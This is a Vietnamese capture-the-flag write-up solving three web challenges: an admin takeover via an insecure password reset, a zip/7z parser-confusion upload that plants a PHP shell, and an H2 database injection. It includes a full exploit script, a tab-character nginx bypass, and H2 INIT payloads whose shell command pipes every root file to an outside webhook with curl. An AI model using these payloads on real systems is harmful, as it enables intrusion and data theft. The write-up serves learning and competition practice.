# CSCV_2025 - Vì 1 số lý do nên mình không tham gia cuộc thi này được, nhưng sau cuộc thi thì mình có mượn được nick của bạn và giải được 3 câu web. # LEAK FORCE *- Đây là 1 trang web có giao diện khá giống porfotilo, Đề không cho source code nên mình bắt đầu tìm kiếm từ source JS của web* ![image](https://hackmd.io/_uploads/SJqXOy_Rxx.png) - Nhìn sơ qua ta có thể thấy có 1 số endpoint khá là thú vị : `/api/reset-password : ` dùng để reset password theo tham số `id` và `Newpassword` ![image](https://hackmd.io/_uploads/r1FddJ_Aeg.png) `/api/token-login : ` dùng để login theo token ![image](https://hackmd.io/_uploads/rJsc_1uCeg.png) `/api/profile?id= : ` Chúng ta có thể sử dụng hàm này để xem thông tin của user thông qua params id ![image](https://hackmd.io/_uploads/rJ5yYyOClx.png) ***- Với 3 endpoint trên ta có thể kết luận cách để exploit trang web này như sau*** - 1 : thông qua `/api/profile?id=` để check id của admin (ở đây sau khi check thì mình thấy id=1 là của admin) ![image](https://hackmd.io/_uploads/Hy_Kj1uAxx.png) - 2 : reset password admin theo id dựa trên endpoint `/api/reset-password` ![image](https://hackmd.io/_uploads/rJKwnJ_Axe.png) - 3 : login với admin để lấy token ![image](https://hackmd.io/_uploads/BkOo3JuRxx.png) - 4 : login = token và lấy được flag ![image](https://hackmd.io/_uploads/rkNC3JdRee.png) # ZC 1 **- Bài này thì BTC có cho chúng ta source ( Thật ra thì nếu không cho source thì mình cũng k biết giải kiểu gì vì web nó không có 1 cái gì cả 🗿)** ----- - Trong Source thì ta thấy có **`app1`** được viết bằng **`Python`** và **`app2`** được viết bằng **`PHP`** - Ta thấy có 2 file đáng chú ý là `utils.py` ở `app1` và `storage.php` ở `app2` **File `utils.py`**: ``` from django.conf import settings import requests import zipfile storage_url = settings.STORAGE_URL allow_storage_file = settings.ALLOW_STORAGE_FILE def transport_file(id, file): try: res = requests.post( url= storage_url + "/storage.php", files={ "id":(None,id), "file":file }, allow_redirects=False, timeout=2 ) return "OK" except Exception as e: return "ERR" def check_file(file): try: with zipfile.ZipFile(file,"r") as zf: namelist = zf.namelist() if len([f for f in namelist if not f.endswith(allow_storage_file)]) > 0: return False except: return False return True def health_check(module): try: res = requests.get(storage_url + module, timeout=2) if res.status_code == 200: return True return False except: return False ``` **File `storage.php`**: ``` <?php require "vendor/autoload.php"; use Archive7z\Archive7z; if(isset($_POST['id']) && isset($_FILES['file'])){ $storage_dir = __DIR__ . "/storage/" . $_POST['id']; if(!is_dir($storage_dir)){ mkdir($storage_dir); } $obj = new Archive7z($_FILES["file"]["tmp_name"]); $obj->setOutputDirectory($storage_dir); $obj->extract(); } ?> ``` - Lỗ hỏng chính của chúng ta, Ở đây ta có thể thấy khi ta upload file bằng endpoint `/transport` nó sẽ checkfile bằng thư viện `zipfile` trong khi sau khi lên server nó lại được giải nén bằng `7z` và 2 thư viện này có cách hoạt động khác nhau - Vậy để tận dụng được lỗ hỏng này, ta phải làm cách nào đó để bypass được thư viện zipfile và khi nó extract ra thì là file PHP RCE điều này cũng là ẩn ý của bức ảnh ở description của challenge. ![image](https://hackmd.io/_uploads/Sk2yZeOCeg.png) - Việc upload thẳng file PHP lên là không thể vì nó chỉ cho phép các extension như txt, docx ![image](https://hackmd.io/_uploads/BJn2exuCgl.png) - Sau một hồi research thì mình có tìm thấy nguồn tài liệu này nói về cách hoạt động của Zip Archive https://raw.githubusercontent.com/corkami/pics/master/binary/zip101/zip101.pdf ----- ***Về cơ bản cách parsing của zipfile như sau*** ----- **Cấu trúc tổng quát của một file ZIP** 1. Một file ZIP gồm 3 phần chính: 2. Local File Headers + Data (lặp lại cho mỗi file) 3. Central Directory (danh mục tổng hợp tất cả các file) 4. End of Central Directory Record (EOCD) (phần đánh dấu kết thúc) **Quá trình “Parsing” (phân tích / đọc file ZIP)** **Bước 1 – Tìm “End of Central Directory”** Trình phân tích (ví dụ zipfile.ZipFile) scan từ cuối file để tìm signature PK\x05\x06. → Từ đây, parser biết chính xác vị trí Central Directory. **Bước 2 – Đọc “Central Directory”** → Parser dùng thông tin này để lập danh sách file (chính là namelist() mà Python zipfile trả về). **Bước 3 – Đọc từng “Local File Header”** → Khi bạn gọi zf.open(filename) hay zf.extract(filename), Python dùng thông tin này để tìm và giải nén đúng đoạn byte. - Ý tưởng exploit của mình như sau : + **Lấy hex của file 7z ( chứa mã độc ) + với hex của file zip (chứa file txt bình thường và cộng offset của relative_offset_of_local_header, và offset của central directory đúng bằng lenghth của file 7z, nếu không thì offset sẽ trỏ sai vị trí tới giữa file 7z), khi thư viện zipfile lấy name list thì nó sẽ bypass được filter** ![image](https://hackmd.io/_uploads/SJk02O_Ale.png) - Vị trí của relative local header nằm ở offset 42 sau signature “Central Directory Header” là cái \x01 \x02 - Vị trí của offset central directory nằm ở offset 16 sau EOCD signature **- Các bước exploit** ----- - B1 : Tạo user thông qua requests POST http://web2.cscv.vn:8000/gateway/user/ với data và username và password - B2 : Dùng username và password mới tạo để lấy auth token http://web2.cscv.vn:8000/auth/token/ - B3 : Upload file zip chứa file 7z độc và file zip bình thường qua endpoint http://web2.cscv.vn:8000/gateway/transport/ với header là auth token - Chúng ta đã bypass được zip filter nhưng làm thế nào để chúng ta có thể chạy file trong đó. - Trong file **`utils.py`** còn 1 hàm được xây dựng khá là "an toàn thông tin" là `health_check` nó lấy params là module và cho chúng ta quyền access `storage_url` 1 cách khá là free nhưng nó chỉ trả về True hoặc False Nhưng chỉ cần thế là đủ ![image](https://hackmd.io/_uploads/SkzMxK_Cxx.png) ![image](https://hackmd.io/_uploads/r1zpyYuCxx.png) Ta chỉ cần upload được file PHP với code như sau là có thể lấy được flag thông qua webhook ![image](https://hackmd.io/_uploads/HkscxF_Rge.png) **Ta tạo 1 file 7z chưa file PHP, nó có length là 221 qua hexadecimal là DD** ![image](https://hackmd.io/_uploads/By7B-FORxl.png) **Tạo file zip chứa file txt rồi sửa offset** ![image](https://hackmd.io/_uploads/HyxGMtOAgx.png) ``` 00 + DD = DD 5F + DD = 13C ``` ![image](https://hackmd.io/_uploads/Sk4RWY_Agx.png) - Rồi upload lên server rồi access qua path http://web2.cscv.vn:8000/gateway/health?module=/storage/{user_id}/shell.php - user id ta có thể lấy ở auth token khi decode jwt token - Truy cập webhook và ta có flag ![image](https://hackmd.io/_uploads/ryEqvqdCll.png) `SCRIPT` ``` import requests import jwt from base64 import b64decode import json def decode_token(token): try: payload = token.split('.')[1] payload += '=' * (4 - len(payload) % 4) decoded = b64decode(payload) return json.loads(decoded) except Exception as e: print(f"Error decoding token: {e}") return None def register_user(username="j", password="j"): """Register a new user""" register_data = { "username": username, "password": password } register_response = requests.post('http://web2.cscv.vn:8000/gateway/user/', json=register_data) print("Registration:", register_response.json()) return register_response.json() def get_token(username="j", password="j"): token_response = requests.post('http://web2.cscv.vn:8000/auth/token/', { 'username': username, 'password': password }) print("Token response:", token_response.json()) return token_response.json()['access'] def refresh_token(refresh_token): refresh_response = requests.post('http://web2.cscv.vn:8000/auth/refresh-token/', { 'refresh': refresh_token }) print("Refresh response:", refresh_response.json()) return refresh_response.json()['access'] def upload_file(token, filepath='s.zip'): headers = { 'Authorization': f'Bearer {token}' } files = { 'file': ('s.zip', open(filepath, 'rb'), 'application/zip') } response = requests.post( 'http://web2.cscv.vn:8000/gateway/transport/', headers=headers, files=files ) print("Upload response:", response.text) return response.text def check_file_access(token, path): headers = { 'Authorization': f'Bearer {token}' } response = requests.get( 'http://web2.cscv.vn:8000/gateway/health/', headers=headers, params={'module': path} ) print("Health check response:", response.text) return response.text def find_user(token, username="j"): headers = { 'Authorization': f'Bearer {token}' } response = requests.post( 'http://web2.cscv.vn:8000/gateway/user/find/', headers=headers, json={"username": username} ) print("Find user response:", response.json()) return response.json() def main(): register_result = register_user() token_response = requests.post('http://web2.cscv.vn:8000/auth/token/', { 'username': 'j', 'password': 'j' }) token_data = token_response.json() access_token = token_data['access'] refresh_token = token_data['refresh'] decoded = decode_token(refresh_token) if decoded and 'user_id' in decoded: user_id = decoded['user_id'] print(f"Decoded user_id: {user_id}") else: print("ERROR AT DECODING USER ID") return ; upload_result = upload_file(access_token) storage_path = f'/storage/{user_id}/shell.php' print(f"Trying path: {storage_path}") check_file_access(access_token, storage_path) find_user(access_token) if __name__ == "__main__": main() ``` # Portfolios - Bài này thì có cho source code nhưng logic chính là ở file `portfolio.war` và mình khá là chật vật để decompile được dạng này vì đây là lần đầu mình gặp, nhưng rất may bên trong là code **Java**. - Source bài này thì cũng khá giống bài **ZC-1** ( Khá là rối và nhiều file) - Vì không biết nên bắt đầu từ đâu nên mình hỏi Chatgpt nên bắt đầu từ đâu thì nó recommended nên đọc ở folder WEB-INF ![image](https://hackmd.io/_uploads/H1StWouAxe.png) - Ở trong file `AuthController.class` ta có thể thấy có 1 chỗ nó catch error và nó in ra message của cái error đó luôn ở path `/register` và cũng không có filter gì quá đặc biệt ở password nên mình nghĩ có thể tận dụng ERROR EXIL được ở đây ![image](https://hackmd.io/_uploads/BkzdzsORle.png) - Nhưng sau một lúc (30p 🗿) thì mình nhận ra là ko thể access đến được file /flag.txt ở đây - Ở file `InternalController.class` ta có thể thấy qua path **`/internal/testConnection`** thì fullurl sẽ được craft từ baseUrl, username, password và được connect như 1 câu lệnh truy vấn -> Ý tưởng bắt đầu từ đây : Liệu chúng ta có thể sử dụng thứ như SQL Injection ở đây và làm cách nào để có được kết quả của câu lệnh truy vấn - ![image](https://hackmd.io/_uploads/BJgRY4sORlg.png) -> Cũng trong file đó ta cũng có 1 lỗi khi catch error là nó in luôn cả message ra nên ta có thể tận dụng điều này :+1: - Ví dụ khi ta dùng câu truy vấn `RUN SCRIPT FROM /flag.txt` thì nó sẽ in ra luôn flag + lỗi vì ở trong là flag chứ không phải câu lệnh truy vấn 🎉 ![image](https://hackmd.io/_uploads/HJ0VandAee.png) Nhưng vấn đề là `flag.txt`nó đã bị xóa và copy xong 1 cái file khác tên có Name là random nên ta không thê truy vấn trực tiếp được do chúng ta không biết chính xác tên của file flag ![image](https://hackmd.io/_uploads/SyDQA3OCge.png) -> Chúng ta có 1 vài vấn đề cần giải quyết `1. path /internal/testConnection đã bị chặn bởi nginx config` ![image](https://hackmd.io/_uploads/SyDgWad0gg.png) -> để bypass được e đã kham khảo bài viết của a `@Winky` ![image](https://hackmd.io/_uploads/H1s_W6O0ee.png) Chúng ta có thể bypass bằng `\x09` điều này xảy ra bởi nginx nó sẽ check đúng chính xác ký tự thì nó mới trả về 403, nhưng do cơ chế normalise của Spring Boot, khi url lên server nó sẽ tự động xóa `\x09` đi, và chúng ta đã bypass được nginx proxy `2. Sử dụng SQL Injection để lấy được flag ` -> Cái khó ở đây là chúng ta không biết được name của file chứa flag, nhưng chúng ta biết nó nằm ở root và chúng ta có thể sử dụng `cat /*` để in ra hết nội dung của tất cả file trong đó, nhưng làm sao ta có thể access được cmd - Đây là nguồn mình đã kham khảo về cách dùng cmd thông qua `H2 SQL INJECTION` https://www.sonarsource.com/blog/dotcms515-sqli-to-rce/ ``` CREATE ALIAS EXEC AS $$ void e(String cmd) throws java.io.IOException {java.lang.Runtime rt= java.lang.Runtime.getRuntime();rt.exec(cmd);}$$ CALL EXEC('cat /* | curl -sS --request POST --header 'Content-Type: text/plain' --data-binary @- https://6bvz0xlc.requestrepo.com'); ``` Tuy nhiên ta không thể dùng trực tiếp vì câu lệnh này quá dài để cho vào username hoặc password ![image](https://hackmd.io/_uploads/HJGwGCuRxe.png) Tuy nhiên ta có thể dùng câu truy vấn để ghi nó và 1 file và execute nó tạo bảng với DB_CLOSE_DELAY = -1 để giữ kết nối với Database ``` payload = { "username": "arya", "password": f"arya;DB_CLOSE_DELAY=-1;INIT=CREATE TABLE ss (s VARCHAR(255))", } ``` ``` payload = { "username": "arya", "password": "arya;DB_CLOSE_DELAY=-1;INIT=INSERT INTO s VALUES('CREATE ALIAS EXEC AS $$ void')", } ``` Vì Giới hạn tài khoản và mật khẩu nên chia ra thành nhiều lần gửi ``` data = { "username": "arya", "password": "arya;DB_CLOSE_DELAY=-1;INIT=UPDATE ss SET s = s || REST OF THE PAYLOAD", } ``` Viết nội dung của row vào file khác ``` data = { "username": "arya", "password": "arya;DB_CLOSE_DELAY=-1;INIT=CALL FILE_WRITE((SELECT * FROM ss LIMIT 1), '/aryas')", } ``` Chạy lệnh ``` data = { "username": "arya", "password": "arya;DB_CLOSE_DELAY=-1;INIT=RUNSCRIPT FROM '/aryas'", } ``` khi check webhook thì sẽ có 1 đống file chingchong ntn vì nó cat /* nên file request siêu nặng (thua trà bông btw) tìm trong đó ta sẽ có flag ![image](https://hackmd.io/_uploads/H1eYIJtAgx.png)